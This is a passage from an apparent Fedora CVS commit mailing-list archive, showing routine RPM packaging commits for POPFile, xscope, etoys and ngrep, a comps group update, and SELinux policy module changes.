* Mon Jun 22 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.2.rc2
-  new upstream version

* Sat Jun 20 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.1.rc1
-  release 1 for version 1.1.1-RC1



--- NEW FILE start_popfile.sh ---
#!/bin/sh

popfile_root=/usr/share/popfile/
popfile_data=/var/lib/popfile/
popfile_piddir=/var/run/
popfile_logdir=/var/log/popfile/

PARAMS="--set config_piddir=${popfile_piddir} --set logger_logdir=${popfile_logdir}"

export POPFILE_ROOT=${popfile_root}
export POPFILE_USER=${popfile_data}

umask 0027
exec /usr/share/popfile/popfile.pl $PARAMS &> ${logdir}/console.log &



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/popfile/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:51:06 -0000	1.1
+++ .cvsignore	1 Oct 2009 12:57:02 -0000	1.2
@@ -0,0 +1 @@
+popfile-1.1.1.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/popfile/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:51:07 -0000	1.1
+++ sources	1 Oct 2009 12:57:02 -0000	1.2
@@ -0,0 +1 @@
+005bd6c4a39db3489800e0d9552f7993  popfile-1.1.1.zip



From yaneti at fedoraproject.org  Thu Oct  1 13:04:54 2009
From: yaneti at fedoraproject.org (Yanko Kaneti)
Date: Thu,  1 Oct 2009 13:04:54 +0000 (UTC)
Subject: rpms/xscope/F-12 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 xscope.spec,
	1.2, 1.3
Message-ID: <20091001130454.9D5D311C00C1@cvs1.fedora.phx.redhat.com>

Author: yaneti

Update of /cvs/pkgs/rpms/xscope/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32348

Modified Files:
	.cvsignore sources xscope.spec 
Log Message:
1.2-1
New upstream release. Drop patches.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Jul 2009 05:08:43 -0000	1.2
+++ .cvsignore	1 Oct 2009 13:04:54 -0000	1.3
@@ -1 +1 @@
-xscope-1.1.tar.bz2
+xscope-1.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Jul 2009 05:08:43 -0000	1.2
+++ sources	1 Oct 2009 13:04:54 -0000	1.3
@@ -1 +1 @@
-c37ec177b56d5909584c1672b6beabd5  xscope-1.1.tar.bz2
+1a9df0ac0dd5a2c2a7948dcf48d126c3  xscope-1.2.tar.bz2


Index: xscope.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/F-12/xscope.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- xscope.spec	27 Jul 2009 08:44:22 -0000	1.2
+++ xscope.spec	1 Oct 2009 13:04:54 -0000	1.3
@@ -1,21 +1,15 @@
 Name:           xscope
-Version:        1.1
-Release:        4.gitfccbbd6%{?dist}
+Version:        1.2
+Release:        1%{?dist}
 Summary:        X Window Protocol Viewer
 
 Group:          User Interface/X
 License:        MIT
 URL:            http://cgit.freedesktop.org/xorg/app/xscope/
 Source0:        ftp://ftp.freedesktop.org/pub/xorg/individual/app/%{name}-%{version}.tar.bz2
-# git diff --diff-filter=ACMRT xscope-1.1 fccbbd6
-Patch0:         xscope-1.1-diff_to_git.patch
-# to build on Fedora 10 reduce the xorg-macros required version
-Patch1:         xscope-1.1-lessmacros.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  xorg-x11-xtrans-devel, xorg-x11-proto-devel
-# required for the autoreconf
-BuildRequires:  automake, autoconf, xorg-x11-util-macros
 
 %description
 xscope sits in-between an X11 client and an X11 server and prints the contents
@@ -26,10 +20,6 @@ servers and clients.
 
 %prep
 %setup -q
-%patch0 -p1 -b .diff_to_git
-%patch1 -p1 -b .lessmacros
-# required for changes in patch0 and patch1
-autoreconf -f
 
 %build
 %configure
@@ -53,6 +43,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Yanko Kaneti <yaneti at declera.com> 1.2-1
+- New upstream release. Drop patches.
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1-4.gitfccbbd6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From amatubu at fedoraproject.org  Thu Oct  1 13:13:23 2009
From: amatubu at fedoraproject.org (Naoki IIMURA)
Date: Thu,  1 Oct 2009 13:13:23 +0000 (UTC)
Subject: rpms/popfile/F-12 import.log, NONE, 1.1 popfile, NONE,
	1.1 popfile.spec, NONE, 1.1 start_popfile.sh, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001131323.2EED311C00C1@cvs1.fedora.phx.redhat.com>

Author: amatubu

Update of /cvs/pkgs/rpms/popfile/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1946/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log popfile popfile.spec start_popfile.sh 
Log Message:

-  First import to F-12 branch.



--- NEW FILE import.log ---
popfile-1_1_1-3_fc11:F-12:popfile-1.1.1-3.fc11.src.rpm:1254402760


--- NEW FILE popfile ---
#!/bin/sh
#
# ---------------------------------------------------------------------------
#
# Copyright (c) 2001-2009 John Graham-Cumming
#
#   This file is part of POPFile
#
# POPFile is free software; you can redistribute it and/or modify it
# under the terms of verion 2 of the GNU General Public License as
# published by the Free Software Foundation.
#
# POPFile is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
# ---------------------------------------------------------------------------

# ===
#
# popfile
#
# A shell script designed to start and stop POPFile from within
# /etc/init.d on *nix systems.
#
# usage: popfile { start | stop | restart | status }
 
##
# RedHat comment block...
#
# chkconfig: - 80 20
# description: POPFile is an automatic mail classification tool. Once \
#              properly set up and trained, it will scan all email as it \
#              arrives and classify it based on your training. You can give \
#              it a simple job, like separating out junk e-mail, or a \
#              complicated one-like filing mail into a dozen folders. Think \
#              of it as a personal assistant for your inbox.
# pidfile: /var/run/popfile.pid
# processname: popfile
##
 
##
# LSB comment block...
#
# The bogus 345 run-levels are a workround for a buggy RedHat chkconfig which
# reads the LSB comment block (incorrectly) as an undocumented 'feature'.
#
### BEGIN INIT INFO
# Provides: popfile
# Required-Start: $network
# Required-Stop: $network
# Short-Description: Start and stop POPFile
# Description: POPFile is an automatic mail classification tool. Once properly
#              set up and trained, it will scan all email as it arrives and
#              classify it based on your training. You can give it a simple
#              job, like separating out junk e-mail, or a complicated one-like
#              filing mail into a dozen folders. Think of it as a personal
#              assistant for your inbox.
### END INIT INFO
##

. /etc/rc.d/init.d/functions

popfile_root=/usr/share/popfile/
popfile_data=/var/lib/popfile/
popfile_piddir=/var/run/
popfile_logdir=/var/log/popfile/

popfile="${popfile_root}start_popfile.sh"
popfile_pid="${popfile_piddir}popfile.pid"
prog="popfile"

lockfile=/var/lock/subsys/${prog}

start() {
    [ -x ${popfile} ] || exit 5
    echo -n "Starting ${prog} as background process: "
    daemon --pidfile=${popfile_pid} ${popfile}
    retval=$?
    echo
    [ "${retval}" -eq 0 ] && touch ${lockfile}
    return ${retval}
}
 
stop() {
    echo -n "Stopping ${prog}: "
 
    killproc -p ${popfile_pid} ${prog}
    retval=$?
    echo
    [ "${retval}" -eq 0 ] && rm -f ${lockfile}
    return ${retval}
}
 
restart() {
    stop
    start
}

reload() {
    restart
}

force_reload() {
    restart
}

rh_status() {
    status -p ${popfile_pid} ${prog}
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}
 
case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
        restart
        ;;
    *)
        echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload}"
        exit 2
        ;;
esac

exit $?


--- NEW FILE popfile.spec ---
Summary: Automatic Email Classification

Name: popfile
Version: 1.1.1
Release: 3%{?dist}

Group: Applications/Internet

URL: http://getpopfile.org/
License: GPLv2

# BuildRequires:
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
BuildArch: noarch

Source0: http://getpopfile.org/downloads/%{name}-%{version}.zip
Source1: popfile
Source2: start_popfile.sh
# Patch0: no patch

#Requires: perl >= 5.8.1
#Requires: perl(Digest::MD5) perl(MIME::Base64) perl(MIME::QuotedPrint)
#Requires: perl(DBI)
Requires: perl(DBD::SQLite)
#Requires: perl(DBD::SQLite2)
#Requires: perl(Date::Parse) perl(Date::Format)
#Requires: perl(HTML::Template) perl(HTML::Tagset)
Requires: perl(IO::Socket::SSL)
Requires: perl(SOAP::Lite)
Requires: kakasi kakasi-dict perl(Text::Kakasi) perl(Encode)

Requires(post): chkconfig
Requires(preun): chkconfig
Requires(preun): initscripts
Requires(postun): initscripts

%description
POPFile is an automatic mail classification tool. Once properly set up
and trained, it will scan all email as it arrives and classify it
based on your training. You can give it a simple job, like separating
out junk e-mail, or a complicated one-like filing mail into a dozen
folders. Think of it as a personal assistant for your inbox.

%prep

%setup -q -c %{name}-%{version} -T
%{__unzip} -qoa %{SOURCE0}
find . -type f | xargs chmod 0644
%{__cp} -p %{SOURCE1} .
%{__cp} -p %{SOURCE2} .

%build

%install
%{__rm} -rf $RPM_BUILD_ROOT

# popfile program
%{__mkdir_p} $RPM_BUILD_ROOT%{_datadir}/%{name}

%{__cp} -p -r * $RPM_BUILD_ROOT%{_datadir}/%{name}/
%{__install} -p -m 755 *.pl $RPM_BUILD_ROOT%{_datadir}/%{name}/
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/popfile
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/license
%{__rm} -f $RPM_BUILD_ROOT%{_datadir}/%{name}/v%{version}.change*

# popfile data files
%{__mkdir_p} $RPM_BUILD_ROOT%{_localstatedir}/lib/%{name}
%{__cp} -p stopwords $RPM_BUILD_ROOT%{_localstatedir}/lib/%{name}/

# popfile log directory
%{__mkdir_p} $RPM_BUILD_ROOT%{_localstatedir}/log/%{name}

# start up script
%{__mkdir_p} $RPM_BUILD_ROOT%{_initddir}
%{__install} -p -m 755 popfile $RPM_BUILD_ROOT%{_initddir}/

%{__install} -p -m 755 start_popfile.sh $RPM_BUILD_ROOT%{_datadir}/%{name}/

%clean

%{__rm} -rf $RPM_BUILD_ROOT

%post

/sbin/chkconfig --add %{name}
#/sbin/chkconfig %{name} on
#/sbin/service %{name} start >/dev/null 2>&1
exit 0

%preun

if [ "$1" = 0 ]; then
    /sbin/service %{name} stop >/dev/null 2>&1
    #/sbin/chkconfig %{name} off
    /sbin/chkconfig --del %{name}
fi
exit 0

%postun

if [ "$1" -ge "1" ] ; then
    /sbin/service %{name} condrestart >/dev/null 2>&1 || :
fi
exit 0

%files
%defattr(-,root,root,-)

# popfile program
%{_datadir}/%{name}/

# popfile document files
%doc license
%doc v%{version}.change
%doc v%{version}.change.nihongo

# popfile data files
%dir %{_localstatedir}/lib/%{name}
#%config(missingok) %{_localstatedir}/lib/%{name}/popfile.cfg
#%config(missingok) %{_localstatedir}/lib/%{name}/popfile.db
%config(noreplace) %{_localstatedir}/lib/%{name}/stopwords

# popfile log directory
%dir %{_localstatedir}/log/%{name}

# start up script
%{_initddir}/popfile


%changelog
* Tue Sep 29 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-3
-  moved document files to the appropriate directory
-  removed unnecessary %%pre script
-  simplified the %%files section some more

* Mon Sep 28 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-2
-  removed the license statement
-  updated the release number to "<release number>%%{?dist}" style
-  removed the Vendor/Exclusiveos tags
-  removed the Requires tag for perl itself
-  updated the perl module dependencies to use virtual Provides names
-  added perl(Encode) dependency
-  fixed permission of popfile and start_popfile.sh
-  simplified the %%install section
-  added "-p" option to "install" command and "cp" command to preserve
   timestamps
-  rewrote macros in "%%{name}" style
-  use %%{_initddir} macro instead of %%{_initrddir}
-  added missing Requres(post), Requires(preun) and Requires(postun)
-  commented out '/sbin/service popfile stop' in %%pre script
-  added %%postun script
-  updated the scripts to use "/sbin/service" style
-  updated %%defattr to %%defattr(-,root,root,-) in the %%files section
-  simplified the %%files section
-  popfile init.d script
   updated chkconfig and deleted Default-Start and Default-Stop lines

* Sat Sep 26 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-1.1
-  new upstream version

* Sun Jul 5 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.3.rc3
-  new upstream version

* Mon Jun 22 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.2.rc2
-  new upstream version

* Sat Jun 20 2009 naoki iimura <naoki at getpopfile.org> 1.1.1-0.1.rc1
-  release 1 for version 1.1.1-RC1



--- NEW FILE start_popfile.sh ---
#!/bin/sh

popfile_root=/usr/share/popfile/
popfile_data=/var/lib/popfile/
popfile_piddir=/var/run/
popfile_logdir=/var/log/popfile/

PARAMS="--set config_piddir=${popfile_piddir} --set logger_logdir=${popfile_logdir}"

export POPFILE_ROOT=${popfile_root}
export POPFILE_USER=${popfile_data}

umask 0027
exec /usr/share/popfile/popfile.pl $PARAMS &> ${logdir}/console.log &



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/popfile/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:51:06 -0000	1.1
+++ .cvsignore	1 Oct 2009 13:13:22 -0000	1.2
@@ -0,0 +1 @@
+popfile-1.1.1.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/popfile/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:51:07 -0000	1.1
+++ sources	1 Oct 2009 13:13:22 -0000	1.2
@@ -0,0 +1 @@
+005bd6c4a39db3489800e0d9552f7993  popfile-1.1.1.zip



From chitlesh at fedoraproject.org  Thu Oct  1 13:31:04 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Thu,  1 Oct 2009 13:31:04 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.139,1.140
Message-ID: <20091001133104.AA7F411C00C1@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4332

Modified Files:
	comps-f12.xml.in 
Log Message:
added fped to FEL


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- comps-f12.xml.in	30 Sep 2009 18:25:09 -0000	1.139
+++ comps-f12.xml.in	1 Oct 2009 13:31:02 -0000	1.140
@@ -1407,6 +1407,7 @@
       <packagereq type="default">emacs-vregs-mode</packagereq>
       <packagereq type="default">eqntott</packagereq>
       <packagereq type="default">espresso-ab</packagereq>
+      <packagereq type="default">fped</packagereq>
       <packagereq type="default">gds2pov</packagereq>
       <packagereq type="default">geda-docs</packagereq>
       <packagereq type="default">geda-examples</packagereq>



From gavin at fedoraproject.org  Thu Oct  1 13:31:06 2009
From: gavin at fedoraproject.org (Gavin Romig-Koch)
Date: Thu,  1 Oct 2009 13:31:06 +0000 (UTC)
Subject: rpms/etoys/F-11 .cvsignore, 1.8, 1.9 etoys.spec, 1.8, 1.9 sources,
	1.8, 1.9
Message-ID: <20091001133106.D69AE11C00C1@cvs1.fedora.phx.redhat.com>

Author: gavin

Update of /cvs/pkgs/rpms/etoys/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4354

Modified Files:
	.cvsignore etoys.spec sources 
Log Message:
update to 4.0.2319



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-11/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	12 Sep 2009 13:58:43 -0000	1.8
+++ .cvsignore	1 Oct 2009 13:31:06 -0000	1.9
@@ -1 +1 @@
-etoys-4.0.2279.tar.gz
+etoys-4.0.2319.tar.gz


Index: etoys.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-11/etoys.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- etoys.spec	12 Sep 2009 13:58:43 -0000	1.8
+++ etoys.spec	1 Oct 2009 13:31:06 -0000	1.9
@@ -1,5 +1,5 @@
 %define name    etoys
-%define version 4.0.2279
+%define version 4.0.2319
 %define release 1%{?dist}
 %define source  %{name}-%{version}
 
@@ -89,7 +89,7 @@ update-desktop-database &> /dev/null || 
 %endif
 %doc ChangeLog LICENSE NOTICE README
 %dir %{_datadir}/etoys
-%{_datadir}/etoys/EtoysActivity.017.pr
+%{_datadir}/etoys/Home.004.pr
 %{_datadir}/etoys/EtoysV4.sources
 %{_datadir}/etoys/ExampleEtoys
 %{_datadir}/etoys/Gallery.024.pr
@@ -136,6 +136,9 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Thu Oct  1 2009 Gavin Romig-Koch <gavin at redhat.com> - 4.0.2319-1
+- lastest upstream release 4.0.2319
+
 * Sat Sep 12 2009 Steven M. Parrish <smparrish at gmail.com> - 4.0.2279-1
 - lastest upstream release 4.0.2279	
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-11/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	12 Sep 2009 13:58:43 -0000	1.8
+++ sources	1 Oct 2009 13:31:06 -0000	1.9
@@ -1 +1 @@
-77701b44a106f1316bed3b2c09319a50  etoys-4.0.2279.tar.gz
+604ba19acf9260ffd4650e6ff4234450  etoys-4.0.2319.tar.gz



From oliver at fedoraproject.org  Thu Oct  1 13:34:34 2009
From: oliver at fedoraproject.org (Oliver Falk)
Date: Thu,  1 Oct 2009 13:34:34 +0000 (UTC)
Subject: rpms/ngrep/F-11 ngrep.spec,1.11,1.12
Message-ID: <20091001133434.BB56511C00C1@cvs1.fedora.phx.redhat.com>

Author: oliver

Update of /cvs/extras/rpms/ngrep/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4887

Modified Files:
	ngrep.spec 
Log Message:

* Wed Sep 30 2009 Oliver Falk <oliver at linux-kernel.at> 1.45-6.1
- Bump-n-build for new libpcap
- Add --with-pcap-includes to %configure (Thanks Miroslav!)



Index: ngrep.spec
===================================================================
RCS file: /cvs/extras/rpms/ngrep/F-11/ngrep.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- ngrep.spec	24 Sep 2009 13:19:35 -0000	1.11
+++ ngrep.spec	1 Oct 2009 13:34:34 -0000	1.12
@@ -5,7 +5,7 @@ Name:				ngrep
 Summary:			Network layer grep tool
 
 Version:			1.45
-Release:			6%{?dist}
+Release:			6.1%{?dist}
 
 Group:				Applications/Internet
 License:			BSD with advertising
@@ -39,7 +39,7 @@ install -pm 644 %{SOURCE1} ./README.fedo
 %build
 export EXTRA_INCLUDES=$(pcre-config --cflags)
 export EXTRA_LIBS=$(pcre-config --libs)
-%configure --enable-pcre --enable-ipv6
+%configure --enable-pcre --enable-ipv6 --with-pcap-includes=%{_includedir}
 make %{?_smp_mflags} STRIPFLAG=
 
 %install
@@ -56,6 +56,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man8/ngrep.8*
 
 %changelog
+* Wed Sep 30 2009 Oliver Falk <oliver at linux-kernel.at> 1.45-6.1
+- Bump-n-build for new libpcap
+- Add --with-pcap-includes to %configure (Thanks Miroslav!)
+
 * Thu Sep 24 2009 Patrick "Jima" Laughton <jima at beer.tclug.org> 1.45-6
 - Bump-n-build for new libpcap
 



From oliver at fedoraproject.org  Thu Oct  1 13:43:20 2009
From: oliver at fedoraproject.org (Oliver Falk)
Date: Thu,  1 Oct 2009 13:43:20 +0000 (UTC)
Subject: rpms/ngrep/F-11 ngrep.spec,1.12,1.13
Message-ID: <20091001134320.C5E7211C00C1@cvs1.fedora.phx.redhat.com>

Author: oliver

Update of /cvs/extras/rpms/ngrep/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7087

Modified Files:
	ngrep.spec 
Log Message:
* Do not use the %configure macro in %changelog :-(


Index: ngrep.spec
===================================================================
RCS file: /cvs/extras/rpms/ngrep/F-11/ngrep.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- ngrep.spec	1 Oct 2009 13:34:34 -0000	1.12
+++ ngrep.spec	1 Oct 2009 13:43:19 -0000	1.13
@@ -58,7 +58,7 @@ rm -rf $RPM_BUILD_ROOT
 %changelog
 * Wed Sep 30 2009 Oliver Falk <oliver at linux-kernel.at> 1.45-6.1
 - Bump-n-build for new libpcap
-- Add --with-pcap-includes to %configure (Thanks Miroslav!)
+- Add --with-pcap-includes to configure (Thanks Miroslav!)
 
 * Thu Sep 24 2009 Patrick "Jima" Laughton <jima at beer.tclug.org> 1.45-6
 - Bump-n-build for new libpcap



From dwalsh at fedoraproject.org  Thu Oct  1 13:45:10 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu,  1 Oct 2009 13:45:10 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 modules-minimum.conf, 1.35,
	1.36 modules-targeted.conf, 1.144, 1.145 policy-F12.patch, 1.96,
	1.97 selinux-policy.spec, 1.933, 1.934
Message-ID: <20091001134510.D230A11C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7384

Modified Files:
	modules-minimum.conf modules-targeted.conf policy-F12.patch 
	selinux-policy.spec 
Log Message:
* Thu Oct 1 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-17
- Allow vpnc request the kernel to load modules



Index: modules-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-minimum.conf,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- modules-minimum.conf	30 Sep 2009 18:57:20 -0000	1.35
+++ modules-minimum.conf	1 Oct 2009 13:45:07 -0000	1.36
@@ -900,6 +900,13 @@ mount = base
 # 
 mozilla = module
 
+# Layer: admin
+# Module: ntop
+#
+# Policy for ntop
+# 
+ntop = module
+
 # Layer: services
 # Module: nslcd
 #


Index: modules-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-targeted.conf,v
retrieving revision 1.144
retrieving revision 1.145
diff -u -p -r1.144 -r1.145
--- modules-targeted.conf	30 Sep 2009 18:57:21 -0000	1.144
+++ modules-targeted.conf	1 Oct 2009 13:45:07 -0000	1.145
@@ -900,6 +900,13 @@ mount = base
 # 
 mozilla = module
 
+# Layer: admin
+# Module: ntop
+#
+# Policy for ntop
+# 
+ntop = module
+
 # Layer: services
 # Module: nslcd
 #

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |    7 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.pp              |binary
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   75 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   67 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   31 
 policy/modules/admin/vbetool.te           |   16 
 policy/modules/admin/vpn.te               |    1 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   17 
 policy/modules/apps/java.if               |  111 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   21 
 policy/modules/apps/nsplugin.fc           |   12 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  294 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    6 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 ++++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  182 +++
 policy/modules/apps/sandbox.te            |  329 +++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |   59 +
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   31 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  164 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    8 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |   36 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  402 ++++++++
 policy/modules/roles/unprivuser.te        |  131 --
 policy/modules/roles/xguest.te            |   18 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   14 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  438 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
